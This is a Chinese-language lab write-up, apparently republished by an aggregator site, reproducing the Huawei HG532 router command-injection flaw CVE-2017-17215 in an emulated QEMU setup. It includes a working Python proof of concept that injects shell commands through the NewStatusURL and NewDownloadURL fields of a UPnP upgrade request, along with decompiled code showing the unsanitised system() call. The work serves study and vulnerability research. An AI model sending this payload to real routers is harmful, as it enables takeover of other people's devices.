华为路由器远程命令执行漏洞复现(CVE-2017-17215)

Posted Zeker62

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了华为路由器远程命令执行漏洞复现(CVE-2017-17215)相关的知识,希望对你有一定的参考价值。

华为路由器远程命令执行漏洞复现(CVE-2017-17215)

漏洞内容

这个漏洞算是比较老的一种漏洞了,但是具有一定的学习价值。

CheckPoint报告华为HG532路由器产品存在远程命令执行漏洞,可以执行任意的命令

远程命令执行漏洞,没有对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造的语句提交,让服务器端执行。例如web服务器中的system、eval、exec等函数,在上面的CVE-2020-3452也算是远程命令执行漏洞的一种。

漏洞复现

环境搭建

我使用的是Windows商店下载的Ubuntu子系统(图方便,还是建议在虚拟机运行并保存快照),其他系统可能一些操作不一样,固件和exp在参考链接里

首先,解析一下固件,使用binwalk

apt install binwalk
binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin

解析后可以看见如图所示的文件系统

之后,需要下载一个虚拟机,作为我们的“假路由器”

sudo apt-get install qemu
sudo apt-get install qemu binfmt-support qemu-user-static

下载qemu启动虚拟机所需要的“镜像”,这个地方的镜像是和之前的固件版本要匹配,MIPS,32位,大端,模拟出一个真实的路由器系统

wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta

下载成功后,虚拟机作为路由器,要和我们的实验机器相连,所以创建网桥,配置好虚拟的IP地址

sudo apt-get install bridge-utils
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.10.1/24 up

创建tap接口,添加到网桥

sudo apt install uml-utilities
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.10.11/24 up
sudo brctl addif Virbr0 tap0 

启动虚拟机

apt install qemu-system-mips
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

账号密码都是root 成功进入系统

(真实Windows里装Linux装Linux)

添加IP地址,Ping主机

ifconfig eth0 192.168.10.2/24 up
ping 192.168.10.1 -c 10

squashfs-root文件夹复制到虚拟机当中(回到主机)

scp -r squashfs-root/ root@192.168.10.2:~/

查看虚拟机

挂载

mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc

当我进行到这里的时候,发现我的文件夹下并没有这两个文件

通过百度发现,是我的binwalk不完整导致的,缺少相关的依赖,解决方法已经放在参考链接里面了

emm,弄了很久,还是没有弄好,时间有些紧急呃,尽管我没有成功解决这个问题,我还是把方法贴出来

$ sudo apt-get update
$ sudo apt-get install build-essential autoconf git

# https://github.com/devttys0/binwalk/wiki/Quick-Start-Guide
$ wget https://github.com/devttys0/binwalk/archive/master.zip
$ unzip master.zip

$ (cd binwalk-master && sudo python setup.py uninstall && sudo python setup.py install)

# 自动安装依赖库文件和工具组件
$ sudo ./binwalk-master/deps.sh

启动Shell

chroot squashfs-root sh

通过SSH的远程连接,启动路由器:

ssh root@192.168.10.2
chroot squashfs-root /bin/sh
./bin/upnp
./bin/mic

此时的虚拟机的路由IP已经发生了变化,ssh已经断开了,所以需要返回虚拟机的终端进行更改IP地址

ifconfig eth0 192.168.10.2/24 up
ifconfig br0 192.168.10.11/24 up

这时再在浏览器上访问路由器的IP地址,即华为路由器的界面

账号密码:admin@Hua1234

漏洞复现

使用POC进行注入:运行这个python脚本即可

import requests 
headers = 
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"


data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;mkdir /bin/hell;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://192.168.10.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

可以看见在/bin目录下新建了hell文件夹,返回的状态码是200

原理分析

参考exp里面的内容

<NewStatusURL>;mkdir /bin/hell;</NewStatusURL>

这个是我们自己可以注入的内容,里面完成了任意执行命令的危险操作

由于我逆向能力较弱,所以根据博客来解读

作者逆向之后,搜索字符串NewStatusURL,有一处匹配

进入查看之后,发现system函数,而上面就是一个snprintf函数格式化字符串,而这个被格式化的字符串被system函数执行

int FUN_0040749c(int param_1)

  int iVar1;
  char *local_418;
  char *local_414;
  char acStack1040 [1028];

  iVar1 = ATP_XML_GetChildNodeByName(*(int *)(param_1 + 0x2c),"NewDownloadURL",(int *)0x0,&local_418);
  if (((iVar1 == 0) && (local_418 != (char *)0x0)) &&(iVar1 = ATP_XML_GetChildNodeByName(*(int *)(param_1 + 0x2c),"NewStatusURL",(int *)0x0,&local_414), iVar1 == 0)
     ) 
    if (local_414 != (char *)0x0) 
      snprintf(acStack1040,0x400,"upg -g -U %s -t \\'1 Firmware Upgrade Image\\' -c upnp -r %s -d -b",local_418,local_414);
      system(acStack1040);
    
  
  return iVar1;

猜测local_418,local_414和exp中的NewStatusURL和NewDownloadURL标签

<NewStatusURL>;mkdir /bin/hell;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>

所以,在这两个标签里面都可以进行任意命令注入的漏洞

之后可以修改POC进行验证

import requests 
headers = 
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"


data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;mkdir hell;</NewStatusURL>
   <NewDownloadURL>;mkdir hello;</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
response = requests.post('http://192.168.153.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
print(response)

参考链接

  1. 固件分析环境搭建:https://www.anquanke.com/post/id/151277
  2. 固件和exp下载:https://gitee.com/p1piyang/backward-analysis
  3. 参考文章1:https://mp.weixin.qq.com/s/wQojqJ152I1-Wag0MRqEkw
  4. 参考文章2:https://xz.aliyun.com/t/8494

以上是关于华为路由器远程命令执行漏洞复现(CVE-2017-17215)的主要内容,如果未能解决你的问题,请参考以下文章

华为路由器远程命令执行漏洞复现(CVE-2017-17215)

华为路由器远程命令执行漏洞复现(CVE-2017-17215)

Samba远程代码执行漏洞(CVE-2017-7494)复现

Tomcat任意写入文件漏洞(CVE-2017-12615) 复现

Samba远程代码执行漏洞(CVE-2017-7494) 复现

Office CVE-2017-8570 远程代码执行漏洞复现